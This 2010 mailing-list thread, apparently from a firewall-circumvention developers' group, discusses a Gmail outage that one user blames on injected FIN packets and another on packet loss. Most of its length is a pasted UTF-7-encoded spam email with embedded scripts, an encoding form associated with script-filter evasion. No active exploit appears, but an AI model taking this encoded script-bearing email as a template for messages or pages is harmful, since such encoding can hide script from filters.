GFW 升级了. 或者要升级.

54 views
Skip to first unread message

sinanjj

unread,
Mar 29, 2010, 10:16:42 AM3/29/10
to scholarzhang-dev
我这里gmail死活无法登陆了.

然后用wireshark抓了下包. 像是fin包攻击.

pcap文件见file中的gmail.pcap

Kristy Swan

unread,
Mar 29, 2010, 10:35:05 AM3/29/10
to scholarz...@googlegroups.com
额...哪个地区?

2010/3/29, sinanjj <sin...@gmail.com>:
> 我这里gmail死活无法登陆了.
>
> 然后用wireshark抓了下包. 像是fin包攻击.
>
> pcap文件见file中的gmail.pcap
>
> --
> You received this message because you are subscribed to "scholarzhang-dev".
> To post to this group, send email to scholarz...@googlegroups.com
> To unsubscribe from this group, send email to
> scholarzhang-d...@googlegroups.com
>
> To unsubscribe from this group, send email to
> scholarzhang-dev+unsubscribegooglegroups.com or reply to this email with the
> words "REMOVE ME" as the subject.
>

崔莺莺

unread,
Mar 29, 2010, 12:19:07 PM3/29/10
to scholarz...@googlegroups.com
下不下来，带附件发邮件到
scholarz...@googlegroups.com

sinanjj

unread,
Mar 29, 2010, 10:01:50 PM3/29/10
to scholarzhang-dev
非常奇怪.
我这也下不下来....


gmail测试过, 也是我这里无法登陆.

我这里是教育网. 可能实验新的封锁.


我这gmail连接, 根本打不开. 上了代理也打不开.mail.google.com 收到fin包. 和fin包后的数据.........


这个文件我再传次

sinanjj

unread,
Mar 29, 2010, 10:04:14 PM3/29/10
to scholarzhang-dev
上传成功. gamil.zip 解压后是个pcap文件

疯了快

崔莺莺

unread,
Mar 29, 2010, 10:17:10 PM3/29/10
to scholarz...@googlegroups.com
你网络丢包严重，跟GFW无关。

在 2010年3月30日 上午10:04，sinanjj <sin...@gmail.com> 写道：
> 上传成功. gamil.zip 解压后是个pcap文件
>
>
>
> 疯了快

sinanjj

unread,
Mar 29, 2010, 10:44:13 PM3/29/10
to scholarzhang-dev
莫名其妙的又恢复了.

不过查到不能登陆前, 收到了一封这样的email:
+/v8APAAh-DOCTYPE HTML PUBLIC +ACI--//W3C//DTD HTML 4.01 Transitional//
EN+ACI- +ACI-http://www.w3c.org/TR/1999/REC-html401-19991224/loose.dtd
+ACIAPg- +ADw-HTML lang+AD0-zh xml:lang+AD0AIg-zh+ACI- xmlns+AD0AIg-
http://www.w3.org/1999/xhtml+ACIAPgA8-HEAD+AD4APA-TITLE+AD5if2Ol-Flash+bjhiDzAB-Flash+Uqh1OzAB-Flash+f1F62XtJ-Flash+mHl27lI2T1w-
- china+AF8-flash+doRl5V/X- - +f1FmE1NaW6IAPA-/TITLE+AD4- +ADw-META
http-equiv+AD0-Content-Type content+AD0AIg-text/html+ADs- charset+AD0-
utf-7+ACIAPg- +ADw-META http-equiv+AD0-content-style-type content+AD0-
text/css+AD4- +ADw-META http-equiv+AD0-content-script-type content+AD0-
text/javascript+AD4- +ADw-META content+AD0-neblog-1.0 name+AD0-version
+AD4- +ADw-SCRIPT src+AD0AIgAi- type+AD0-text/javascript+AD4- if(top
+ACEAPQ-window)+AHs-top.location+AD0-location.href+ADsAfQ-
document.uniqueID+ACEAPQ-document.uniqueID+ACYAJgAhACE-location.hash
+ACYAJg-(location.hash+AD0-location.hash)+ADs- document.domain +AD0-
location.hostname.replace(/+AF4-.+ACoAXA-.(+AFsAXA-w+AF0AKwBc-.+AFsAXA-
w+AF0AKw-)+ACQ-/,'+ACQ-1')+ADs- window.focus()+ADs- +ADw-/SCRIPT+AD4-
+ADw-META content+AD0-china+AF8-flash,china+AF8-flash name+AD0-author
+AD4- +ADw-META content+AD1if2Ol-Flash+bjhiDzAB-Flash+Uqh1OzAB-Flash
+f1F62XtJ-Flash+mHl27lI2T1w-,+ZeVf1w-,china+AF8-flash,china+AF8-flash,
+f1FmE1NaW6I-,+f1FmEw-,blog name+AD0-keywords+AD4- +ADw-META content
+AD0-'+Yn9jpQ-Flash+bjhiDzAB-Flash+Uqh1OzAB-Flash+f1F62XtJ-Flash
+mHl27lI2T1w-,+ADw-P+AD5if2Ol-Flash+bjhiDzAB-Flash+Uqh1OzAB-Flash
+f1F62....
很多见下.

要说网络丢包严重, 那igoogle, 论坛, 统统良好, 轮子的代理也挺快, 别的网站一点问题没有, 咋就gmail丢包严重呢?

网络丢包严重是怎么看出来的, 想讨教下. 我这截取 gmail包的时候是用了: host 64.233.189.19 过滤.

我一度怀疑是email服务器出了问题, 但是别的地区都能上, 而我这里别的网站(包括轮子的网站, 加了代理), 都能上.

On Mar 30, 10:17 am, 崔莺莺 <yingyingcui.scholarzh...@gmail.com> wrote:
> 你网络丢包严重，跟GFW无关。
>

sinanjj

unread,
Mar 29, 2010, 10:54:37 PM3/29/10
to scholarzhang-dev
我分析下那个包记录:

第4个包发出http get 请求.
第5,6个包竟然在3s和9s以后, gmail的服务器没有反应. 但我这里igoogle和论坛的反应都很快.

然后, 第7个包, 13s后, 莫名其妙的gmail服务器给了fin, ack, ????我没发fin包给fin ack干嘛? 于是只能认为有
机器冒充我发出fin ack, 而且一连发了4个,
然后19s后, 我机器的tcp栈显然没反应过来 fin ack是咋回事, 于是继续get请求, 这回回oK了???. 然后, 显然是tcp栈
对fin ack反应, 回显rst ack?????莫明奇妙.??

sinanjj

unread,
Mar 29, 2010, 10:57:41 PM3/29/10
to scholarzhang-dev
收到的莫名其妙的email


from ntla <kajin...@163.com>
to sin...@gmail.com
date Sat, Mar 27, 2010 at 3:05 PM
subject 您好，业务咨询
mailed-by 163.com

+/v8APAAh-DOCTYPE HTML PUBLIC +ACI--//W3C//DTD HTML 4.01 Transitional//
EN+ACI- +ACI-http://www.w3c.org/TR/1999/REC-html401-19991224/loose.dtd
+ACIAPg- +ADw-HTML lang+AD0-zh xml:lang+AD0AIg-zh+ACI- xmlns+AD0AIg-
http://www.w3.org/1999/xhtml+ACIAPgA8-HEAD+AD4APA-TITLE+AD5if2Ol-Flash+bjhiDzAB-Flash+Uqh1OzAB-Flash+f1F62XtJ-Flash+mHl27lI2T1w-
- china+AF8-flash+doRl5V/X- - +f1FmE1NaW6IAPA-/TITLE+AD4- +ADw-META
http-equiv+AD0-Content-Type content+AD0AIg-text/html+ADs- charset+AD0-
utf-7+ACIAPg- +ADw-META http-equiv+AD0-content-style-type content+AD0-
text/css+AD4- +ADw-META http-equiv+AD0-content-script-type content+AD0-
text/javascript+AD4- +ADw-META content+AD0-neblog-1.0 name+AD0-version
+AD4- +ADw-SCRIPT src+AD0AIgAi- type+AD0-text/javascript+AD4- if(top
+ACEAPQ-window)+AHs-top.location+AD0-location.href+ADsAfQ-
document.uniqueID+ACEAPQ-document.uniqueID+ACYAJgAhACE-location.hash
+ACYAJg-(location.hash+AD0-location.hash)+ADs- document.domain +AD0-
location.hostname.replace(/+AF4-.+ACoAXA-.(+AFsAXA-w+AF0AKwBc-.+AFsAXA-
w+AF0AKw-)+ACQ-/,'+ACQ-1')+ADs- window.focus()+ADs- +ADw-/SCRIPT+AD4-
+ADw-META content+AD0-china+AF8-flash,china+AF8-flash name+AD0-author
+AD4- +ADw-META content+AD1if2Ol-Flash+bjhiDzAB-Flash+Uqh1OzAB-Flash
+f1F62XtJ-Flash+mHl27lI2T1w-,+ZeVf1w-,china+AF8-flash,china+AF8-flash,
+f1FmE1NaW6I-,+f1FmEw-,blog name+AD0-keywords+AD4- +ADw-META content
+AD0-'+Yn9jpQ-Flash+bjhiDzAB-Flash+Uqh1OzAB-Flash+f1F62XtJ-Flash
+mHl27lI2T1w-,+ADw-P+AD5if2Ol-Flash+bjhiDzAB-Flash+Uqh1OzAB-Flash

+f1F62XtJ-Flash+mHl27lI2T1wAPA-/P+AD4- +ADw-P
+AD5iEU7sZi9OAFu2ThNOGl8AU9E-Flash+bjhiDzAB-Flash+Uqh1OzAB-Flash
+f1F62XtJ-Flash+mHl27naEXeVPXFukADw-/P+AD4- +ADw-P+AD5iEU7sfL6QGg-Flash
+ACY-amp+ADs-nbsp+ADs- CS4 /AS3+ACY-amp+ADs-nbsp+ADsAJg-amp+ADs-nbsp
+ADsAJg-amp+ADs-nbsp+ADsAJg-amp+ADs-nbsp+ADs- AS2+/wxOE04aYn9jpQ-Flash
+bjhiDzAB-Flash+Uqh1OzAB-Flash+f1F62TAB-Flash+i/5O9jAB-Flash+ACY-amp
+ADs-nbsp+ADs- SNS+bjhiDzAB-Flash 3D+UWhmb3tJmHl27lI2T1wAPA-/P+AD4-
+ADw-P+AD4APA-BR+AD5oSE+LbxR5On9RV0D/GgA8-A href+AD0AIg-http://
www.fzsoft.net/+ACIAPg-www.fzsoft.net+ADw-/A+AD4APA-/P+AD4- +ADw-P
+AD5nCZcAiYGL94BUfPtiEU7sADw-BR+AD6AVHz7-QQ+ACY-amp+ADs-nbsp+ADsAJg-amp
+ADs-nbsp+ADs- :+ACY-amp+ADs-nbsp+ADsAJg-amp+ADs-nbsp+ADsAJg-amp+ADs-
nbsp+ADsAJg-amp+ADs-nbsp+ADs- 26717928+ACY-amp+ADs-nbsp+ADsAJg-amp+ADs-
nbsp+ADs- +ADw-BR+AD4AJg-amp+ADs-nbsp+ADsAJg-amp+ADs-nbsp+ADsAJg-amp
+ADs-nbsp+ADsAJg-amp+ADs-nbsp+ADs- MSN+ACY-amp+ADs-nbsp+ADs- :+ACY-amp
+ADs-nbsp+ADsAJg-amp+ADs-nbsp+ADsAJg-amp+ADs-nbsp+ADsAJg-amp+ADs-nbsp
+ADs- +ADw-/P+AD4-,china+AF8-flash+doRl5V/X-,china+AF8-flash+doR/
UWYTU1pbog-,+f1FmE1NaW6I-,' name+AD0-description+AD4- +ADw-SCRIPT src
+AD0AIgAi- type+AD0-text/javascript+AD4- (function()+AHs- var R
+AD0-24,C+AD0-9,a+AD0AWwBdADs- for(var i+AD0-0+ADs-i+ADw-C+ADs-i+-
+-)for(var j+AD0-0+ADs-j+ADw-R+ADs-a.push('.icn0-'+-i+-j+-'+AHs-
background-position:'+-(i+AD4-0?('-'+-i+ACo-40+-'px'):'0')+-' '+-(j
+AD4-0?('-'+-j+ACo-20+-'px'):'0')+-'+ADsAfQ-'),j+-+-)+ADs-
document.write('+ADw-style type+AD0AIg-text/css+ACIAPg-'+-a.join('')
+-'+ADw-/st'+-'yle+AD4-')+ADs- +AH0-)()+ADs- +ADw-/SCRIPT+AD4- +ADw-
LINK href+AD0AIg-http://b2.bst.126.net/newpage/r/c/c.css?v
+AD0-9443464930+ACI- type+AD0-text/css rel+AD0-stylesheet+AD4APA-LINK
id+AD0-blog-163-com-theme href+AD0AIg-http://b.bst.126.net/newpage/
style/nblog/4053/nb.css+ACI- type+AD0-text/css rel+AD0-stylesheet
+AD4APAAh---+AFs-if lte IE 6+AF0APg- +ADw-STYLE type+AD0-text/css+AD4-
html,body,+ACM-blog-163-com-ie6body+AHs-height:100+ACUAOw-width:
100+ACUAOw-overflow:hidden+ADsAfQ- +ACM-blog-163-com-ie6body+AHs-
overflow:auto+ADs-overflow-y:scroll+ADsAfQ- +ACM-blog-163-com+AHs-
background:none+ADsAfQ- +ADw-/STYLE+AD4- +ADwAIQBb-endif+AF0---+AD4-
+ADw-STYLE type+AD0-text/css+AD4-.m-3 .nbw-ryt .left+AHs-float:left
+ADs-width:100+ACUAOw-margin-right:-161px+ADs-overflow:hidden
+ADsAfQ-.m-3 .nbw-ryt .left .lcnt+AHs-margin-right:160px+ADs-padding-
right:10px+AH0-.m-3 .nbw-ryt .left .mcnt+AHs-padding-left:10px
+ADsAfQ-.m-3 .nbw-ryt .right+AHs-position:relative+ADs-float:right+ADs-
width:160px+ADs-text-align:left+ADsAfQ-.m-3 .nbw-ryt .right .cnt+AHs-
padding-left:20px+AH0-.m-3 .nbw-ryt .right .uinfo img+AHs-display:block
+ADs-margin-bottom:5px+ADs-width:60px+ADs-height:60px+ADsAfQ-.m-3 .nbw-
ryt .right .intro+AHs-margin:10px 0+ADs-word-wrap:break-word+ADsAXw-
width:100+ACUAOwB9-.m-3 .nbw-ryt .right .ltt+AHs-margin:35px 10px 0
0+ADsAfQ-.m-3 .nbw-ryt .right .blst+AHs-margin:0+ADs-padding:0+ADs-
border:0+ADs-list-style:none+ADsAfQ-.m-3 .nbw-ryt .right .blst li+AHs-
height:20px+ADs-line-height:20px+ADsAXw-width:95+ACUAfQ-.m-3 .nbw-
ryt .right .blst .survey+AHs-height:90px+AH0-.m-3 .nbw-ryt .right .acts
+AHs-position:relative+ADs-margin:0 0 35px 0+ADs-line-height:20px
+ADsAfQAj-blog-163-com .m-3 .phide+AHs-display:none+ADsAfQ-.m-3 .nbw-
ryt .left .nbw-bitm+AHs-margin:0+ADs-padding:0 0 0 10px
+ADsAfQ-.m-3 .nbw-ryt .left .nbw-bitm .title+AHs-font-size:20px+ADs-
margin:30px 0 20px 0+ADs-font-
family:'+X66Pb5bFntE-','+ntFPUw-',Arial,Helvetica,Sans-Serif
+ADsAfQ-.m-3 .nbw-ryt .left .nbw-bitm .tdep+AHs-margin-bottom:20px
+ADsAfQ-.m-3 .nbw-ryt .left .nbw-bitm .tbar+AHs-margin:5px 0+ADs-
padding:10px 10px 10px 0+ADs-line-height:20px+ADs-text-align:right
+ADsAfQ-.m-3 .nbw-ryt .left .nbw-bitm .bct+AHs-font-size:14px+ADs-
padding-left:0+AH0-.m-3 .nbw-ryt .left .snl .pnb div+AHs-line-height:
20px+ADs-text-align:left+ADsAfQ-.m-3 .nbw-ryt .cite+AHs-margin:0 0 0
50px+ADs-line-height:24px+ADs-text-align:left+ADsAfQ-.m-3 .nbw-
ryt .cite .close+AHs-margin:20px 0+ADs-text-align:right
+ADsAfQ-.m-3 .nbw-ryt .cite span+AHs-cursor:pointer+ADsAfQ-.m-3 .nbw-
ryt .cite .nbw-act+AHs-text-align:center+ADsAfQ-.m-3 .nbw-
ryt .cite .ads+AHs-margin-left:20px+ADs-width:400px+ADsAfQ-.m-3 .nbw-
ryt .cite .tbac+AHs-margin-left:60px+ADs-padding:0+ADs-border:0+ADs-
list-style:none+ADs-line-height:24px+ADsAfQ-.m-3 .nbw-ryt .cite .tbl
+AHs-width:150px+ADs-overflow:hidden+ADsAfQ-.m-3 .nbw-ryt .cite .tbr
+AHs-margin-left:20px+ADs-overflow:hidden
+ADsAfQ-.m-3 .author, .m-3 .comment+AHs-text-align:left
+ADsAfQ-.m-3 .author .nlogif+AHs-width:150px+ADs-line-height:20px+ADs-
margin-left:5px+ADsAXw-margin-left:3px
+ADsAfQ-.m-3 .author .nlogif .nbw-fce+AHs-margin:0 3px 0 10px+ADsAXw-
margin-left:5px+AH0-.m-3 .author .nlogif .pright+AHs-width:85px+ADs-
margin:0+ADs-padding:5px 0+ADsAXw-padding-top:10px+AH0-.m-3 .nbw-
ryt .right h4+AHs-margin:0+ADs-padding:0+ADs-line-height:30px
+ADsAfQ-.m-3 .author h4, .m-3 .comment h4+AHs-margin:0+ADs-padding:0 0
0 10px+ADs-line-height:30px+ADsAfQ-.m-3 .author .cwd+AHs-border:0+ADs-
text-align:left+ADsAfQ-.m-3 .author .cnt+AHs-margin:10px 0 10px -5px
+ADsAfQ-.m-3 .author .nbw-fce+AHs-margin:0 11px
+ADsAfQ-.m-3 .author .nbw-f50+AHs-width:50px+AH0-.m-3 .nbw-
ryt .left .top+AHs-position:relative+ADs-padding-bottom:5px+ADs-line-
height:20px+ADsAfQ-.m-3 .nbw-ryt .left .top .ilft+AHs-position:absolute
+ADs-left:0+ADs-top:0+ADsAfQ-.m-3 .nbw-ryt .left .top .irgt+AHs-
position:absolute+ADs-right:0+ADs-top:0+ADsAfQ-.m-3 .nbw-
ryt .left .top .pleft+AHs-margin-left:20px+ADsAXw-margin-left:10px+ADs-
overflow:hidden+ADs-width:40+ACUAOw-height:20px+ADs-text-align:left
+AH0-.m-3 .nbw-ryt .left .top .pright+AHs-margin-right:20px+ADsAXw-
margin-right:10px+ADs-overflow:hidden+ADs-width:40+ACUAOw-height:20px
+ADs-text-align:right+AH0-.m-3 .nbw-ryt .left .snl .pnb+AHs-padding:
5px 0 10px 10px+ADs-overflow:hidden+ADsAXw-width:
100+ACUAfQ-.m-3 .comment h4+AHs-padding:0 0 0 10px
+AH0-.m-3 .comment .publish+AHs-margin:10px 0+ADs-padding:0 0 10px 5px
+ADs-text-align:left+ADsAfQ-.m-3 .comment .publish .nbw-fce+AHs-
padding-top:0+ADsAfQ-.m-3 .comment .publish .nbw-fce .cwd+AHs-border:
0+ADsAfQ-.m-3 .comment .publish .redt+AHs-margin-left:65px
+ADsAfQ-.m-3 .comment .nolog+AHs-border:1px solid +ACM-000+ADs-
background-color:+ACM-FFFFE1+ADs-height:40px+ADs-line-height:40px+ADs-
text-align:center+ADs-padding:0+ADsAXw-padding:10px 0+ADsAXw-height:
20px+ADsAfQ-.m-3 .comment .case+AHs-padding-left:5px
+AH0-.m-3 .comment .vgl+AHs-margin:8px+ADs-width:75+ACUAOw-text-
align:center+ADsAfQAj-blog-163-com .m-3 .comment .nbw-cmt .cnt+AHs-
width:488px+ADsAfQAj-blog-163-com .m-3 .comment .nbw-cmt .nbw-cmt .cnt
+AHs-width:444px+ADsAfQ-.m-3 .edt-cmt+AHs-width:444px
+ADsAfQ-.m-3 .comment .publish .edt-cmt+AHs-width:488px
+ADsAfQ-.m-3 .comment .publish .edt-cmt .zbcc+AHs-display:none
+ADsAfQ-.m-3 .nbw-ryt .left .nbw-bitm .js-fs0,.m-3 .nbw-ryt .left .nbw-
bitm .js-fs0 +ACoAew-font-size:150+ACUAOwB9-.m-3 .nbw-ryt .left .nbw-
bitm .js-fs1,.m-3 .nbw-ryt .left .nbw-bitm .js-fs1 +ACoAew-font-size:
130+ACUAOwB9-.m-3 .nbw-ryt .left .nbw-bitm .js-fs2,.m-3 .nbw-
ryt .left .nbw-bitm .js-fs2 +ACoAewB9-.m-3 .js-fcurrent+AHs-font-color:
+ACM-000+ADs-font-weight:bold+ADs-text-decoration:none+ADsAfQ-.m-3 .js-
auto .right, .m-3 .js-fix .right+AHs-display:none+ADsAfQ-.m-3 .js-
auto .left, .m-3 .js-fix .left+AHs-margin:0 auto+ADs-float:none
+ADsAfQ-.m-3 .js-fix .left+AHs-width:760px+ADsAfQ-.m-3 .js-
auto .left .lcnt, .m-3 .js-fix .left .lcnt+AHs-margin-right:0+ADs-
border:0+ADsAfQ-.m-3 .nbw-bitm .rdif+AHs-line-height:24px+ADs-height:
24px+ADsAfQ-.m-3 .nbw-bitm .rdif .pnt+AHs-line-height:24px+ADs-height:
24px+ADs-margin-right:10px+ADsAfQ-.m-3 .nbw-bitm .rdif .pclass+AHs-
vertical-align:middle+ADs-width:57px+ADs-height:22px+ADsAfQ-.m-3 .nbw-
bitm .rdif .rdct+AHs-display:inline-block+ADsAfQ-.m-3 .snl .rdcnt+AHs-
padding:5px+ADs-text-align:left+AH0-.m-3 .snl .rdcnt .nbw-fce+AHs-
margin:0 5px+AH0-.m-3 .snl .rdcnt p+AHs-margin:10px
0+AH0-.m-3 .snl .rdcnt .rrb+AHs-list-style:none+ADs-height:22px+ADs-
line-height:22px+ADsAfQ-.m-3 .acts .iblock+AHs-width:18px
+ADsAfQ-.m-3 .ns+AHs-margin:0 0 0 2px+ADsAfQ-.m-3 .cancel+AHs-
display:none+ADsAfQ-.m-3 .js-
hover .cancel, .m-3 .follow:hover .cancel, .m-3 .frd:hover .cancel+AHs-
display:inline+ADsAfQ-.m-3 .follow+AHsAKg-margin-left:2px
+ADsAfQ-.m-3 .flw+AHs-padding:7px 8px+ADs-color:+ACM-000+ADs-
background:+ACM-fefce4+ADs-border:1px solid +ACM-
b7b7b7+ADsAfQ-.m-3 .acts .flw .iblock+AHs-width:20px+ADsAfQA8-/STYLE
+AD4- +ADw-META content+AD0AIg-MSHTML 6.00.2900.5921+ACI- name+AD0-
GENERATOR+AD4APA-/HEAD+AD4- +ADw-BODY class+AD0AIg-nb-body nb-inr+ACI-
id+AD0-blog-163-com+AD4APAAh---+AFs-if lte IE 6+AF0APg- +ADw-DIV class
+AD0-nb-body id+AD0-blog-163-com-ie6body+AD4APAAhAFs-endif+AF0---+AD4-
+ADw-DIV class+AD0AIg-nb-wrap wsy+ACI- id+AD0-blog-163-com-main+AD4-
+ADw-DIV class+AD0AIg-nb-are nb-top+ACIAPg- +ADw-DIV class+AD0AIg-wkg h
+ACI- id+AD0-blog-163-com-banner+AD4- +ADw-DIV class+AD0-t+AD4- +ADw-
H1 class+AD0AIg-n c+ACIAPgA8-SPAN class+AD0AIg-ztag pre+ACIAPg-china
+AF8-flash+ADw-/SPAN+AD4APA-/H1+AD4- +ADw-P class+AD0AIg-d c+ACIAPgA8-
SPAN class+AD0AIg-ztag pre+ACIAPgA8-/SPAN+AD4APA-/P+AD4APA-/DIV+AD4-
+ADw-DIV class+AD0AIg-f h ztag+ACIAPgA8-/DIV+AD4APA-A class+AD0-x
hideFocus href+AD0AIgAjACI- target+AD0AXw-blank+AD4APA-SPAN class
+AD0AIg-xx ztag+ACIAPgA8-/SPAN+AD4APA-/A+AD4APA-/DIV+AD4APA-/DIV+AD4-
+ADw-DIV class+AD0AIg-nb-are nb-nav+ACIAPg- +ADw-DIV class+AD0-wkg
+AD4- +ADw-DIV class+AD0AIg-c h+ACIAPg- +ADw-H2+AD5b/IIqADw-/H2+AD4-
+ADw-UL class+AD0AIg-noul clearfix+ACIAPg- +ADw-LI class+AD0-w+AD4APA-
A class+AD0AIg-i fc01 h+ACI- hideFocus href+AD0AIg-http://blog.163.com/
china+AF8-flash+ACIAPpmWmHUAPA-/A+AD4- +ADw-/LI+AD4- +ADw-LI class
+AD0AIg-w selected+ACIAPgA8-A class+AD0AIg-i fc01 h+ACI- hideFocus href
+AD0AIg-http://blog.163.com/china+AF8-flash/blog+ACIAPmXlX9cAPA-/A
+AD4- +ADw-/LI+AD4- +ADw-LI class+AD0-w+AD4APA-A class+AD0AIg-i fc01 h
+ACI- hideFocus href+AD0AIg-http://blog.163.com/china+AF8-flash/album
+ACIAPnb4UYwAPA-/A+AD4- +ADw-/LI+AD4- +ADw-LI class+AD0-w+AD4APA-A
class+AD0AIg-i fc01 h+ACI- hideFocus href+AD0AIg-http://blog.163.com/
china+AF8-flash/music+ACIAPpfzTlAAPA-/A+AD4- +ADw-/LI+AD4- +ADw-LI
class+AD0-w+AD4APA-A class+AD0AIg-i fc01 h+ACI- hideFocus href+AD0AIg-
http://blog.163.com/china+AF8-flash/collection+ACIAPmU2hc8APA-/A+AD4-
+ADw-/LI+AD4- +ADw-LI class+AD0-w+AD4APA-A class+AD0AIg-i fc01 h+ACI-
hideFocus href+AD0AIg-http://blog.163.com/china+AF8-flash/friends
+ACIAPlNaU8sAPA-/A+AD4- +ADw-/LI+AD4- +ADw-LI class+AD0-w+AD4APA-A
class+AD0AIg-i fc01 h+ACI- hideFocus href+AD0AIg-http://blog.163.com/
china+AF8-flash/profile+ACIAPlFzTo5iEQA8-/A+AD4- +ADw-/LI+AD4APA-/UL
+AD4wAA- +ADw-/DIV+AD4- +ADw-DIV class+AD0AIg-l h+ACIAPgA8-/DIV+AD4-
+ADw-DIV class+AD0AIg-r h+ACIAPgA8-/DIV+AD4APA-/DIV+AD4APA-/DIV+AD4-
+ADw-DIV class+AD0AIg-nb-are nb-smt+ACIAPg- +ADw-DIV class+AD0AIg-wkg
h space+ACIAPg- +ADw-DIV class+AD0AIg-l h+ACIAPgA8-/DIV+AD4- +ADw-DIV
class+AD0AIg-r h+ACIAPgA8-/DIV+AD4- +ADw-DIV class+AD0AIg-c h+ACIAPgAm-
nbsp+ADsAPA-/DIV+AD4APA-/DIV+AD4APA-/DIV+AD4- +ADw-DIV class+AD0AIg-nb-
are nb-cnt+ACIAPg- +ADw-DIV class+AD0-wkg+AD4- +ADw-DIV class+AD0AIg-c
wc h clearfix +ACI- id+AD0-blog-163-com-container+AD4- +ADw-DIV class
+AD0AIg-nb-mdl lcr m-3+ACI- id+AD0--3+AD4- +ADw-DIV class+AD0AIg-nb-mt
lcr th fc02+ACIAPg- +ADw-DIV class+AD0AIg-c tc th lcr+ACIAPg- +ADw-H2
class+AD0AIg-thide nb-jsc+ACIAPmXlX9cAPA-/H2+AD4APA-/DIV+AD4- +ADw-DIV
class+AD0AIg-r tm th nb-jsc+ACIAPgA8-/DIV+AD4- +ADw-DIV class+AD0AIg-l
tl th+ACIAPgA8-/DIV+AD4- +ADw-DIV class+AD0AIg-r tr th+ACIAPgA8-/DIV
+AD4APA-/DIV+AD4- +ADw-DIV class+AD0AIg-nb-mc lcr+ACIAPg- +ADw-DIV
class+AD0AIg-c cc lcr nb-jsc+ACIAPg- +ADw-DIV class+AD0AIg-nbw-ryt
ztag clearfix +ACIAPg- +ADw-DIV class+AD0AIg-right bdwl bds0
bdc0+ACIAPg- +ADw-DIV class+AD0AIg-cnt ztag+ACIAPgA8-/DIV+AD4APA-/DIV
+AD4- +ADw-DIV class+AD0-left+AD4- +ADw-DIV class+AD0AIg-lcnt bdwr
bds0 bdc0 +ACIAPg- +ADw-DIV class+AD0AIg-top fc03 bdwb bdc0 bds2
clearfix+ACI- id+AD0AJABf-divTopLink+AD4APA-/DIV+AD4- +ADw-DIV class
+AD0-mcnt+AD4- +ADw-DIV class+AD0AIg-nbw-bitm bdwb bds2 bdc0+ACIAPg-
+ADw-H3 class+AD0AIg-title pre fs1+ACIAPmJ/Y6U-Flash+bjhiDzAB-Flash
+Uqh1OzAB-Flash+f1F62XtJ-Flash+mHl27lI2T1wAPA-/H3+AD4- +ADw-P class
+AD0AIg-tdep clearfix nbw-act fc06+ACIAPgA8-SPAN class+AD0-pleft
+AD4APA-A class+AD0AIg-fc03 m2a+ACI- href+AD0AIg-http://blog.163.com/
china+AF8-flash/blog/+ACM-m+AD0-0+ACY-amp+ADs-t+AD0-1+ACY-amp+ADs-c
+AD0-fks
+AF8-087068081081088066085084094095085082081071080083086074080+ACIAPp7Yi6RSBnx7ADw-/
A+AD4- +ADw-SPAN class+AD0-sep+AD4-2010-03-08 09:49:55+ADw-/SPAN+AD4-
+ADw-SPAN class+AD0-sep+AD6WBYv7ADw-SPAN id+AD0AJABf-spanReadCount
+AD4-23+ADw-/SPAN+AD4APA-/SPAN+AD4- +ADw-SPAN class+AD0-sep
+AD6LxIu6ADw-SPAN id+AD0AJABf-spanCommentCount+AD4-0+ADw-/SPAN+AD4APA-/
SPAN+AD4- +ADw-/SPAN+AD4APA-SPAN class+AD0AIg-pright fc07 ztag
+ACIAPltXU/f/GgA8-SPAN class+AD0AIg-ul sep fc04+ACIAPlknADw-/SPAN
+AD4APA-SPAN class+AD0AIg-ul sep fc04+ACIAPk4tADw-/SPAN+AD4APA-SPAN
class+AD0AIg-sep ul fc04+ACIAPlwPADw-/SPAN+AD4APA-/SPAN+AD4- +ADw-/P
+AD4- +ADw-DIV class+AD0AIg-bct fc05 fc11 nbw-blog ztag+ACIAPg- +ADw-P
+AD5if2Ol-Flash+bjhiDzAB-Flash+Uqh1OzAB-Flash+f1F62XtJ-Flash
+mHl27lI2T1wAPA-/P+AD4- +ADw-P+AD5iEU7sZi9OAFu2ThNOGl8AU9E-Flash
+bjhiDzAB-Flash+Uqh1OzAB-Flash+f1F62XtJ-Flash+mHl27naEXeVPXFukADw-/P
+AD4- +ADw-P+AD5iEU7sfL6QGg-Flash+ACY-nbsp+ADs- CS4 /AS3+ACY-nbsp
+ADsAJg-nbsp+ADsAJg-nbsp+ADsAJg-nbsp+ADs- AS2+/wxOE04aYn9jpQ-Flash
+bjhiDzAB-Flash+Uqh1OzAB-Flash+f1F62TAB-Flash+i/5O9jAB-Flash+ACY-nbsp
+ADs- SNS+bjhiDzAB-Flash 3D+UWhmb3tJmHl27lI2T1wAPA-/P+AD4- +ADw-P
+AD4APA-BR+AD5oSE+LbxR5On9RV0D/GgA8-A href+AD0AIg-http://www.fzsoft.net
+ACIAPg-www.fzsoft.net+ADw-/A+AD4APA-/P+AD4- +ADw-P
+AD5nCZcAiYGL94BUfPtiEU7sADw-BR+AD6AVHz7-QQ+ACY-nbsp+ADsAJg-nbsp+ADs- :
+ACY-nbsp+ADsAJg-nbsp+ADsAJg-nbsp+ADsAJg-nbsp+ADs- 26717928+ACY-nbsp
+ADsAJg-nbsp+ADs- +ADw-BR+AD4AJg-nbsp+ADsAJg-nbsp+ADsAJg-nbsp+ADsAJg-
nbsp+ADs- MSN+ACY-nbsp+ADs- :+ACY-nbsp+ADsAJg-nbsp+ADsAJg-nbsp+ADsAJg-
nbsp+ADs- +ADw-A href+AD0AIg-mailto:cjlqf+AEA-hotmail.com+ACIAPg-cjlqf
+AEA-hotmail.com+ADw-/A+AD4APA-BR+AD4-Email+ACY-nbsp+ADsAJg-nbsp
+ADsAJg-nbsp+ADsAJg-nbsp+ADsAJg-nbsp+ADs- :+ACY-nbsp+ADsAJg-nbsp
+ADsAJg-nbsp+ADsAJg-nbsp+ADs- +ADw-A href+AD0AIg-mailto:fzsoft
+AEA-139.com+ACIAPg-fzsoft+AEA-139.com+ADw-/A+AD4APA-BR
+AD6AVHz7dTWL3f8aACY-nbsp+ADsAJg-nbsp+ADsAJg-nbsp+ADs- 1 5 0 0 5 9 1 3
1 8 9+ADw-BR+AD6AVA- +fPs- +Tro- +/xoAJg-nbsp+ADsAJg-nbsp+ADsAJg-nbsp
+ADs- +UhhRSHUfADw-/P+AD4APA-/DIV+AD4- +ADw-DIV class+AD0AIg-nbw-act
tbar fc03 clearfix+ACIAPg- +ADw-DIV class+AD0AIg-pleft rdif+ACIAPgA8-
SPAN class+AD0AIg-pnt pleft+ACI- id+AD0AJABf-spanRecommend+AD4APA-IMG
class+AD0-pclass src+AD0AIg-http://b.bst.126.net/style/common/
tuijian.png+ACIAPgA8-/SPAN+AD4- +ADw-SPAN class+AD0AIg-rdct phide
